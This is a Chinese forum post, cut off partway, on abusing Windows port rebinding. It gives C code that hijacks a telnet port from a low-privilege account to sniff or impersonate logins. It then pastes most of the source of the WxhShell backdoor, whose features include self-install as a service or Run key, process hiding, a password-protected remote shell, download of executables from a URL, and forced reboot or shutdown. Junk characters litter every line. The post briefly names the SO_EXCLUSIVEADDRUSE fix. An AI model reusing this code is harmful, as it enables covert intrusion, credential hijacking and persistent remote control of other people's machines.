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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s, k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4lhw3,5  
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  saddr.sin_family = AF_INET; '52~$z#m  
w }Uhd ,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o*U]v   
s*U1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $un?0S  
`Qr%+OD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9$`lIy@B  
AL#4_]m'  
  这意味着什么?意味着可以进行如下的攻击: bwiPS1+);  
EBz}|GY;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [(1c<b2r  
9z)5Mdf1j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5p.rwNE  
7qTE('zt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 otggN:^Qw  
[kE."#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7i&:DePM'q  
T^J>ZDA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0d8%T<=J  
GFr|E8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u#}[ZoI  
x#Sqn#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F 8B#}%JE  
g1t0l%_7^  
  #include ,U(1NK8o  
  #include i[wb0yL  
  #include yR(x+ Gs{]  
  #include    T)r9-wOq  
  DWORD WINAPI ClientThread(LPVOID lpParam);    Yn8=  
  int main() C z\Ppq  
  { ~ vqa7~}m  
  WORD wVersionRequested; R<OI1,..r  
  DWORD ret; sc,Xw:YO  
  WSADATA wsaData; o=0]el^A  
  BOOL val; =s<( P1|"  
  SOCKADDR_IN saddr; |4'Y/re  
  SOCKADDR_IN scaddr; y+7w,m2  
  int err; ~NW32 O)/  
  SOCKET s; zOQ>d|p?X  
  SOCKET sc; B^g ?=|{  
  int caddsize; q$=#A7H>3)  
  HANDLE mt; (<^yqH?  
  DWORD tid;   w*R$o  
  wVersionRequested = MAKEWORD( 2, 2 ); XQw>EZdj_N  
  err = WSAStartup( wVersionRequested, &wsaData ); L|p Z$HB  
  if ( err != 0 ) { Ol!ntNhXm  
  printf("error!WSAStartup failed!\n"); VkZ7#  
  return -1; nqLA}u4IM  
  } qvPtyc^fN  
  saddr.sin_family = AF_INET; M![J2=  
   B ~OZ2-~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 720DV +o  
G37U6PuZi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '3uVkp 6tF  
  saddr.sin_port = htons(23); i[ mEi|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w K}T`*k  
  { thhwN A  
  printf("error!socket failed!\n"); Dc,I7F|%  
  return -1; 'q`^3&E  
  } cFJY^A  
  val = TRUE; 1YH+d0UGn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MG.` r{5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hro-d 1J7  
  { R rda# h^  
  printf("error!setsockopt failed!\n"); I"GB <oB  
  return -1; EVGt 5z  
  } {E@Lft-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /FRm2m83  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T:; 2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k?,1x~  
jbAx;Xt'=M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OynXkH]0T+  
  { ' ET~  
  ret=GetLastError(); v d[0X;  
  printf("error!bind failed!\n"); 4M2j!Sw  
  return -1; Ig f&l`\  
  } "yS _s  
  listen(s,2); P}4QQw  
  while(1) , 'u W*kx  
  { qw^uPs7Uw  
  caddsize = sizeof(scaddr); adR)Uq9  
  //接受连接请求 ]iUx p+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h 5^Z2:#  
  if(sc!=INVALID_SOCKET) 5rU[ T ir  
  { OOo3G~2r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0.@&_XTPl  
  if(mt==NULL) NGbG4-w-  
  { H5Io{B%=  
  printf("Thread Creat Failed!\n"); e7sp =I ,  
  break; j-lfMEa$o  
  } %4gg@Z9  
  } ATK_DE Au  
  CloseHandle(mt); 6}FP  
  } C)`Fv=]R  
  closesocket(s); H["`Mn7j2  
  WSACleanup(); MB~=f[cUnd  
  return 0; E4M@WNPx  
  }   uo@n(>}EL  
  DWORD WINAPI ClientThread(LPVOID lpParam) '2 PF  
  { GJ_7h_4  
  SOCKET ss = (SOCKET)lpParam; QD0"rxZJ  
  SOCKET sc; )% ~OH  
  unsigned char buf[4096]; N(Fp0  
  SOCKADDR_IN saddr; Tu).K.p:  
  long num; 'ZDp5pCC;  
  DWORD val; .N ,3 od@  
  DWORD ret; gMzcTmbc8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zdYy^8V|z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3`t%g[D1  
  saddr.sin_family = AF_INET; F9,DrB,B{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Y/ g2 4R  
  saddr.sin_port = htons(23); +lHjC$   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t%E!o0+8Z  
  { iT2B'QI=<  
  printf("error!socket failed!\n");  J4f i'  
  return -1; xLK<W"%0  
  } V3^&oe%  
  val = 100; ,F,X ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ur:3W6ZKl  
  { 5\]Sv]s)R  
  ret = GetLastError(); pHLB= r  
  return -1; BRgXr  
  } JvVWG'Z"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iKX-myCz  
  { wk5s)%V  
  ret = GetLastError(); ^ hZ0IM  
  return -1; W04@!_) <  
  } ahJ`$U4n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H|3:6x  
  { RBs-_o+%  
  printf("error!socket connect failed!\n"); Vf] "L .G  
  closesocket(sc); --$ 4Q(#  
  closesocket(ss); Cv6'`",Yzm  
  return -1; _V7s#_p  
  } 21K>`d\  
  while(1) `4=^cyt+  
  { 1_PoqD!q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;:\<gVi:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <G|(|E1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >\KNM@'KI  
  num = recv(ss,buf,4096,0); u{['<r;I  
  if(num>0) UQ?XqgUM  
  send(sc,buf,num,0); 5C o  
  else if(num==0) F8jd'OR  
  break; f4 P8Oz  
  num = recv(sc,buf,4096,0); TQpfQ  
  if(num>0) ' aq!^!z  
  send(ss,buf,num,0); ,!#*GZ.ix  
  else if(num==0) xhV O3LW'  
  break; 3@dL /x4A  
  } v0z5j6)-1  
  closesocket(ss); 7z JRJ*NB  
  closesocket(sc); Yc_8r+;(  
  return 0 ; TaKLzd2  
  } PgtJ3oq [}  
JTSlWq4  
9K{%vK  
========================================================== hI]Hp3S  
 D~S<U  
下边附上一个代码,,WXhSHELL ^o3"#r{:+  
YIoQL}pX  
========================================================== GpY"f c%  
<D<4BnZ(  
#include "stdafx.h" "p_J8  
 oM2l-[-  
#include <stdio.h> Wh+{mvu#  
#include <string.h> \^L`7cBL  
#include <windows.h> 8 OY3A  
#include <winsock2.h> EofymAi%  
#include <winsvc.h> RYQ<Zr$!  
#include <urlmon.h> *W,]>v0%T  
.}t~'*D  
#pragma comment (lib, "Ws2_32.lib") m0ER@BXRn  
#pragma comment (lib, "urlmon.lib") EMwS1~3dD  
! h"Kq>9 T  
#define MAX_USER   100 // 最大客户端连接数 $HHs^tW  
#define BUF_SOCK   200 // sock buffer +b0eE)  
#define KEY_BUFF   255 // 输入 buffer ]m g)Q:d,  
_}lZ,L(w  
#define REBOOT     0   // 重启 {C=NUK%?  
#define SHUTDOWN   1   // 关机 \F1_lq;K  
WIC/AL'  
#define DEF_PORT   5000 // 监听端口 k1w_[w [  
UQ)W%Y;[0  
#define REG_LEN     16   // 注册表键长度 Aw$x;3y  
#define SVC_LEN     80   // NT服务名长度 IUE~_7  
j9eTCJqB  
// 从dll定义API *"?l]d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *6sl   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $$|rrG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cn'(<bl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "-e \p lKj  
G18F&c~  
// wxhshell配置信息 ZZ2vvtlyG  
struct WSCFG { $?Yry. 2  
  int ws_port;         // 监听端口 /oR0+sH]  
  char ws_passstr[REG_LEN]; // 口令 Ixb=L (V  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2|3)S`WZl  
  char ws_regname[REG_LEN]; // 注册表键名 :o0JY= 5  
  char ws_svcname[REG_LEN]; // 服务名 |n+qMql'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sy:[T T!w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iHeN9 cl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z:8eEq3w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c`J.Tm[_u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <sWprR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o3Yb7h9  
e- :yb^  
}; 7S '% E  
.L9j>iP9 *  
// default Wxhshell configuration t[ubn+  
struct WSCFG wscfg={DEF_PORT, tNO-e|~'  
    "xuhuanlingzhe", HJLu'KY }  
    1, M2PAy! J  
    "Wxhshell", Aw}"gpL  
    "Wxhshell",  CJ1 7n  
            "WxhShell Service", q*U*Fu+  
    "Wrsky Windows CmdShell Service", $Z.7zH  
    "Please Input Your Password: ", nxUJN1b!N  
  1, _-q.Q^  
  "http://www.wrsky.com/wxhshell.exe", }YB*]<]  
  "Wxhshell.exe" E(O74/2c8  
    }; oe%} ?u  
L^E[J`  
// 消息定义模块 _,p/l&<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $+P>~X)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i!J8 d"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S=5<^o^h3  
char *msg_ws_ext="\n\rExit."; OVm\  
char *msg_ws_end="\n\rQuit."; )U~=Pf"  
char *msg_ws_boot="\n\rReboot..."; 'qZW,],5  
char *msg_ws_poff="\n\rShutdown..."; ock Te5U  
char *msg_ws_down="\n\rSave to "; VPO N-{=`  
C"6?bg5N  
char *msg_ws_err="\n\rErr!"; 8J:}%DaxL  
char *msg_ws_ok="\n\rOK!"; sF|5XjQ  
DgUT5t1  
char ExeFile[MAX_PATH]; ;XF:\<+  
int nUser = 0; cJ{ Nh;"  
HANDLE handles[MAX_USER]; I;e=0!9U  
int OsIsNt; &ib5* 4!  
,5i`-OI  
SERVICE_STATUS       serviceStatus; `b Fff %_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0 t Fkd  
dCE0$3'5  
// 函数声明 $w)!3c4  
int Install(void); dYT%  
int Uninstall(void); SQ44  
int DownloadFile(char *sURL, SOCKET wsh); 3vuivU.3  
int Boot(int flag); "3Uv]F  
void HideProc(void); LCZ\4g05  
int GetOsVer(void); H<VTa? n  
int Wxhshell(SOCKET wsl); _y),J'W^3u  
void TalkWithClient(void *cs); !Y$h"<M  
int CmdShell(SOCKET sock); LgKaPg$  
int StartFromService(void); _Tf4WFu2  
int StartWxhshell(LPSTR lpCmdLine); \#f <!R4  
k_sg ?(-!o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZvNJ^Xz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5~r33L%  
;|p BFKx  
// 数据结构和表定义 u$>4F|=T  
SERVICE_TABLE_ENTRY DispatchTable[] = RTE8Uq36  
{ y+X2Pl  
{wscfg.ws_svcname, NTServiceMain}, v'U{/ ,x  
{NULL, NULL} S0B|#O%Z  
}; 4,sJE2"[9  
1$D_6U:H0  
// 自我安装 >[9J?H  
int Install(void) [h^2Y&Au5  
{ GR +[UG  
  char svExeFile[MAX_PATH]; ;1:Js0=;H  
  HKEY key; u])b,9&En  
  strcpy(svExeFile,ExeFile); d@ i}-;  
IEXt:  
// 如果是win9x系统,修改注册表设为自启动 )Hpa}FGT  
if(!OsIsNt) { ^Y@\1fX 4e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gG]Eeu+z   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 87BHq)  
  RegCloseKey(key); G`n_YH084  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Q?nN!e T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *G{^|z  
  RegCloseKey(key); spdvZU=}  
  return 0; N):tOD@B  
    } ;g@4|Ro  
  } &X|#R1\  
} gLE:g5v6  
else { SSPHhAeH8  
X'd9[).  
// 如果是NT以上系统,安装为系统服务 F ~^Jmp7Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j7jCm:  
if (schSCManager!=0) AfX}y+Ah  
{ S<VSn}vn  
  SC_HANDLE schService = CreateService P0W*C6&71|  
  ( f|B=_p80  
  schSCManager, )Qe~ 8u@?  
  wscfg.ws_svcname, pm_`>3  
  wscfg.ws_svcdisp, :pGaFWkvO  
  SERVICE_ALL_ACCESS, b6U2GDm\s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t"= E^r  
  SERVICE_AUTO_START, q=%RDG+  
  SERVICE_ERROR_NORMAL, |$vX<. S  
  svExeFile, JT-J#Ag  
  NULL, A/u)# ^\  
  NULL, ~io szX  
  NULL, i+p^ ^t\  
  NULL, 4)@mSSfn.  
  NULL <,[cQ I/  
  ); yzerOL  
  if (schService!=0) <kGU,@6PF  
  { r[4tPk  
  CloseServiceHandle(schService); 1guJG_;z  
  CloseServiceHandle(schSCManager); @JD;k>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jN[`L%Qm   
  strcat(svExeFile,wscfg.ws_svcname); iV&6nh(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -I&m:A$4*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )iYxt:(,  
  RegCloseKey(key); \QYFAa  
  return 0; ,.kha8v  
    } W3MU1gl6k{  
  } 8=NM|i  
  CloseServiceHandle(schSCManager); f@Zszt  
} ^; )8VP6  
} f33l$pOp  
gBC@38|6)  
return 1; Uk^B"y_  
} xa<UM5eI  
Qa-K$dm%  
// 自我卸载 PE5R7)~A  
int Uninstall(void) 9s6U}a'c  
{ ? }kG`q  
  HKEY key; (O.d>  
W g02 A\  
if(!OsIsNt) { ;#vKi0V7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BYVY)<v/  
  RegDeleteValue(key,wscfg.ws_regname); TU:7Df  
  RegCloseKey(key); 5N/%v&1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5h Q E4/hH  
  RegDeleteValue(key,wscfg.ws_regname); ;[=8B \?  
  RegCloseKey(key); Q9Kve3u-i  
  return 0; 8,? h~prc  
  } gm igsXQ  
} j4|N- :  
} MP_ ~<Q  
else { d@XV:ae  
+trC,D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ] 6TATPIr  
if (schSCManager!=0) h*w%jdQ6  
{ <{V(.=11  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :h\Q;?  
  if (schService!=0) E4|jOz^j4\  
  { 95A1:A^t  
  if(DeleteService(schService)!=0) { gMWjk7  
  CloseServiceHandle(schService); DU5c=rxW  
  CloseServiceHandle(schSCManager); }o(zj=7  
  return 0; wt!nMQ  
  } %s|}Fz->  
  CloseServiceHandle(schService); [RLN;(0n  
  } $~VRza 8Q  
  CloseServiceHandle(schSCManager); Y2n!>[[.  
} JBE!j-F  
} IsZHe lg  
b:l P%|7  
return 1; 5-aj 2>=7  
} D~hg$XzK  
nqI@Y)  
// 从指定url下载文件 2R;}y7{  
int DownloadFile(char *sURL, SOCKET wsh) $c]fPt"i  
{ ?OcJ )5C4  
  HRESULT hr; `j,Yb]~s79  
char seps[]= "/"; %E#s\B,w  
char *token; Nl^;A> <u  
char *file; bCo7*<I4  
char myURL[MAX_PATH]; g.BdlVB\  
char myFILE[MAX_PATH]; nuk*.Su  
*5%d XixN  
strcpy(myURL,sURL); -:|?h{q?u  
  token=strtok(myURL,seps); +x0!*3q  
  while(token!=NULL) ar__ Pf6r  
  { _I@9HC 4  
    file=token; 41`n1:-]  
  token=strtok(NULL,seps); w_.F' E  
  } c 0,0`+2~  
% tS,}ze  
GetCurrentDirectory(MAX_PATH,myFILE); KN<S}3MN  
strcat(myFILE, "\\"); "iy  
strcat(myFILE, file); `uOT+B%R  
  send(wsh,myFILE,strlen(myFILE),0); K^1oDP  
send(wsh,"...",3,0); vdAr|4^qB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0z1ifg&  
  if(hr==S_OK) ]A~WIF  
return 0; B3We|oe!  
else BXtCSfY $  
return 1; e?0l"  
yA)/Q Yge  
} |iakz|])  
]<ldWL  
// 系统电源模块 (SpX w,:  
int Boot(int flag) -`'I{g&A  
{ nV"~-On  
  HANDLE hToken; &XIt5<$~R  
  TOKEN_PRIVILEGES tkp; o_XflzC  
HVi'eNgo  
  if(OsIsNt) { ck: T,F{}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KaPAa:Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mWoAO@}Y  
    tkp.PrivilegeCount = 1; ;rF\kX&Jh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B,?T%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )#?"Gjf~  
if(flag==REBOOT) { VEWi_;=J1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cr%"$1sY;  
  return 0; z>LUH  
} 95ZyP!  
else { 2^r <{0@n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }JF13beU  
  return 0; %'b M){  
} =$u! 59_dE  
  } ,f~J`3(&  
  else { ). <-X^@  
if(flag==REBOOT) { F^WP<0C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NSxoF3  
  return 0; 9Vg?{v!yn  
} 8m-U){r!U^  
else { RiDJ> 6S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @@R7p  
  return 0; Z/W:97M  
} *1 uKr9  
} 8L, 5Q9 $  
Z?6%;n^ 54  
return 1; Lb!Fcf|h  
} J1,9kCO  
!=pn77`g >  
// win9x进程隐藏模块 qU+t/C.  
void HideProc(void) qB~rQPa  
{ B;M?,<%FRU  
(jnQ -  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3-[q4R  
  if ( hKernel != NULL ) Bn^0^J-  
  { v| gw9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |LRedD7n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .I7pA5V{#  
    FreeLibrary(hKernel);  ]3x?  
  } QiQ_bB!\  
_> 5(iDW0  
return; n&L+wqJ  
} y<?kzt  
dz:E?  
// 获取操作系统版本 Sxnpq Vbk  
int GetOsVer(void) 2V"B:X\  
{ ]GMe \n  
  OSVERSIONINFO winfo; s6H]J{1F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zkt+7,vI  
  GetVersionEx(&winfo); D60aH!ft  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KT_!d*  
  return 1; QCD .YFM  
  else /'Ass(=6  
  return 0; F5LuSy+v  
} GD&uQ`Y5  
AV:h BoO  
// 客户端句柄模块 /@wg>&L]  
int Wxhshell(SOCKET wsl) NvD7Krqwa  
{ 9/{(%XwX  
  SOCKET wsh; Y#]+Tm (+  
  struct sockaddr_in client; . S!mf  
  DWORD myID; [^R^8k  
:iK(JE`   
  while(nUser<MAX_USER) (jnzT=y  
{ y_'Ub{w  
  int nSize=sizeof(client); =qoWCmg"&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hjU::m,WX  
  if(wsh==INVALID_SOCKET) return 1; $'0u|Xy`  
1[mXd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /vY(o1o x  
if(handles[nUser]==0) 9?A)n4b;  
  closesocket(wsh); ~De"?  
else wa(8Hl|Y  
  nUser++; dah[:rP,n{  
  } *]. 7dec/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }wWKFX  
&Q9qq~  
  return 0; @D)al^]x6  
} Ot$-!Y;<  
Av @b!iw+  
// 关闭 socket @v$Y7mw3D  
void CloseIt(SOCKET wsh) .0p0_f=  
{ W$QcDp]#p}  
closesocket(wsh); ^aIPN5CK  
nUser--; !ds"9w  
ExitThread(0); eiuSvyY  
} D_?K"E=fw  
)r';lGh2#  
// 客户端请求句柄 zUDg&-J3  
void TalkWithClient(void *cs) "MxnFeLM#  
{ w _u\pa  
l+ 3[ KCE  
  SOCKET wsh=(SOCKET)cs; zqd@EF6/bz  
  char pwd[SVC_LEN]; *zNYZ#  
  char cmd[KEY_BUFF]; > pgX^  
char chr[1]; 5 VRYO"D:  
int i,j; iy6On,UL  
6f;fx}y  
  while (nUser < MAX_USER) { `+`Z7  
+O'3|M  
if(wscfg.ws_passstr) { 3NZK*!@ '  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hrmut*<|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KTK <gV9:  
  //ZeroMemory(pwd,KEY_BUFF); T} `x-  
      i=0; o-;E>N7t  
  while(i<SVC_LEN) { }L &^xe  
:WC2Ax7$2  
  // 设置超时 yH7F''O7  
  fd_set FdRead; ?=>+LqP  
  struct timeval TimeOut; :Y-{Kn6`_  
  FD_ZERO(&FdRead); >82@Q^O  
  FD_SET(wsh,&FdRead); B! rTD5a  
  TimeOut.tv_sec=8; CF&NFSti^  
  TimeOut.tv_usec=0; ,/[6e\0~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r[1i*b$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;sfb 4x4  
>d~WH@o`G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ( W a  
  pwd=chr[0]; 8m5p_\&  
  if(chr[0]==0xd || chr[0]==0xa) { avjpA ?Vz  
  pwd=0; @*>@AFnf\Z  
  break; z MLK7+  
  } c/Qt Ot  
  i++; b`L%t:u{d  
    } r/& sub"X  
Tfh 2.  
  // 如果是非法用户,关闭 socket t c[n&X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H|,Oswk~-  
} Hip&8NW  
@|LBn6q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ilK-?@u+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z:ni$7<.  
'[J<=2&  
while(1) { Pa(^}n|  
(Lo%9HZ1Mx  
  ZeroMemory(cmd,KEY_BUFF); ^Y<|F!0  
-<Hu!V`+  
      // 自动支持客户端 telnet标准   rX*H)3F  
  j=0; x2@U.r"zo  
  while(j<KEY_BUFF) { pp.6Ex (R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K6y :mJYp\  
  cmd[j]=chr[0]; ;?W|#*=R  
  if(chr[0]==0xa || chr[0]==0xd) { 6}75iIKi  
  cmd[j]=0; J%V-Q>L  
  break; |nbf'  
  } yvgrIdEP  
  j++; ,\X@~ j  
    } bB }$'  
z?>D_NLX6  
  // 下载文件 7uT:b!^f[  
  if(strstr(cmd,"http://")) { 2LNRtW*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ygeDcnvR]  
  if(DownloadFile(cmd,wsh)) _8Z_`@0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Rz&lh/  
  else ` L >  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S5KEXnjm  
  } oHMo>*?  
  else { k4,BNJt'Z  
?I/qE='*  
    switch(cmd[0]) { )foq),2  
  on0]vEE  
  // 帮助 :[\v  
  case '?': { 8i|w(5m;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \ {qI4=  
    break; #mZpeB~   
  } fBgEnz/  
  // 安装 _9tK[ /h  
  case 'i': { S;~g3DC d  
    if(Install()) /EibEd\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !lxTX  
    else ( Fynok  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XW -2~?$  
    break; W?0 lV5/  
    } ysmNio  
  // 卸载 e%4:) IV!;  
  case 'r': { 4J;-Dq  
    if(Uninstall()) "jTKSgv+q5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6'kS_Zu{<  
    else $e\h}A6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nB%;S  
    break; 0dA7pY9  
    } qOSg!aft{Q  
  // 显示 wxhshell 所在路径 j. *VJazb;  
  case 'p': { XYS'.6k(  
    char svExeFile[MAX_PATH]; 'fcMuBc+ 4  
    strcpy(svExeFile,"\n\r"); W%.v.0   
      strcat(svExeFile,ExeFile); :8 jhiB)  
        send(wsh,svExeFile,strlen(svExeFile),0); ZAJp%   
    break; ~7$&WzD  
    } ({-GOw46  
  // 重启 s[K^9wz  
  case 'b': { 4Ue_Y 'LmM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7]x3!AlV  
    if(Boot(REBOOT)) :N<.?%Kf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iT;@bp  
    else { %&->%U|'  
    closesocket(wsh); v1|Bf8  
    ExitThread(0); yfj K2  
    } JOb*-q|y  
    break;  U3izvM  
    } rQOWLg!"  
  // 关机 !eAo  
  case 'd': { KjFK/Og.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d{3@h+zL  
